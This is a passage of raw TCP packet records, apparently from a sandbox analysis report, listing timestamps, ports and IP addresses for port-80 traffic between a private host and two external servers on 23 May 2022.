May 23, 2022 09:10:54.660984993 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.661005974 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.661025047 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.661027908 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.661045074 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.661050081 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.661077976 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.661454916 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.662343025 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.662405014 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.662424088 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.662437916 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.662530899 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.662578106 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.662609100 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.662630081 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.662657976 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.662719965 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.662740946 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.662765026 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.662775040 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.662786961 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.662806034 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.662823915 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.662847996 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.662853956 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.662873030 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.662894964 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.662915945 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.662919998 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.662940979 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.662956953 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.662975073 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.662983894 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.663002014 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.663019896 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.663033962 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.663053989 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.663069963 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.663083076 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.663120031 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.663439035 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.672564983 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.672588110 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.672691107 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.858428001 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.858489990 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.858624935 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.858686924 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.858732939 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.858748913 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.858776093 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.858782053 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.858810902 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.858819008 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.858874083 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.859774113 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.859819889 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.859853029 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.859869003 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.859878063 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.859911919 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.859920025 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.859946966 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.859955072 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.859997034 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.860004902 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.860035896 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.860038996 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.860085011 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.860088110 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.860126019 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.860140085 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.860167980 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.860172987 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.860209942 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.860217094 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.860249043 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.860254049 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.860304117 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.860368013 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.860409975 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.860435009 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.860464096 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.860742092 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.860786915 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.860811949 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.860841036 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.860959053 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.861000061 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.861016035 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.861042976 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.861932993 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.861974955 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.861999989 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.862015963 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.862025976 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.862056971 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.862063885 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.862097979 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.862111092 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.862138987 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.862140894 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.862180948 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.862190008 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.862221003 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.862221003 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.862262964 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.862272978 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.862299919 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.862302065 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.862343073 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.862351894 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.862384081 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.862384081 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.862426996 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.862433910 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.862466097 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.862473965 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.862505913 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.862518072 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.862546921 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.862548113 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.862588882 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.862596989 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.862624884 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.862629890 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.862679958 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.867712975 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.867758036 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.867835999 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.049766064 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.049834967 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.049947977 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.050024033 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.050066948 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.050081968 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.050084114 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.050127983 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.053680897 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.053740025 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.053793907 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.053793907 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.053818941 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.053845882 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.053848028 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.053894043 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.053901911 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.053962946 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.053997040 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.054011106 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.054017067 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.054064989 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.054069996 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.054122925 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.054136992 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.054172993 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.054177046 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.054224968 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.054230928 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.054277897 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.054287910 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.054332972 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.054341078 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.054389954 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.054394960 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.054445028 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.054485083 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.054491997 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.054497957 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.054544926 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.054550886 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.054605007 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.054606915 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.054652929 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.054657936 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.054708004 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.054709911 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.054754972 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.054759979 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.054811954 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.054814100 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.054863930 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.054867029 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.054919004 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.054923058 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.054971933 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.054971933 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.055023909 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.055025101 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.055078030 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.055078983 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.055130005 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.055131912 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.055181980 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.055182934 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.055236101 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.055238008 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.055288076 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.055290937 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.055337906 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.055340052 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.055391073 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.055392027 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.055440903 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.055444956 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.055496931 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.055497885 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.055547953 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.055548906 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.055597067 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.055600882 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.055653095 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.055654049 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.055704117 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.055702925 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.055756092 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.055757046 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.055808067 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.055809975 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.055862904 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.055876970 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.055917025 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.237366915 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.237432003 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.237473965 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.237556934 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.237579107 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.237647057 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.237654924 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.245240927 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.245290041 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.245389938 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.245491028 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.245538950 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.245547056 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.245558977 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.245608091 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.250128984 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.250169039 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.250210047 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.250251055 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.250258923 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.250288010 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.250292063 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.250293970 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.250334024 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.250366926 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.250372887 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.250377893 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.250384092 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.250411987 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.250427961 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.250452995 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.250480890 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.250493050 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.250508070 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.250534058 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.250557899 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.250576019 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.250581980 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.250616074 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.250633001 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.250657082 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.250663042 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.250696898 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.250705004 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.250735044 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.250751019 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.250775099 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.250792980 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.250817060 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.250833988 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.250857115 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.250866890 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.250900030 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.250921011 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.250937939 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.250952959 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.250977039 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.250988007 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.251017094 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.251034021 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.251055956 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.251063108 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.251096010 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.251105070 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.251137018 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.251147032 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.251178026 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.251188040 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.251219034 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.251223087 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.251257896 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.251270056 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.251297951 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:55.251311064 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:55.251355886 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:57.200099945 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.228558064 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.228658915 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.229271889 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.257540941 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.325115919 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.325160980 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.325176954 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.325192928 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.325211048 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.325227022 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.325242043 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.325258017 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.325274944 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.325314999 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.325320959 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.325366020 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.325372934 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.325378895 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.325382948 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.339723110 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.353770018 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.353801966 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.353817940 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.353835106 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.353852987 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.353869915 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.353884935 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.353903055 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.353919029 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.353938103 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.353948116 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.353955030 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.353972912 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.353986979 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.353990078 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.353993893 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.353997946 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.354002953 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.354007959 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.354007959 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.354012012 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.354026079 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.354027987 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.354037046 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.354043961 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.354063034 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.354079962 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.354089022 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.354095936 CEST	80	49174	85.114.142.153	192.168.2.22
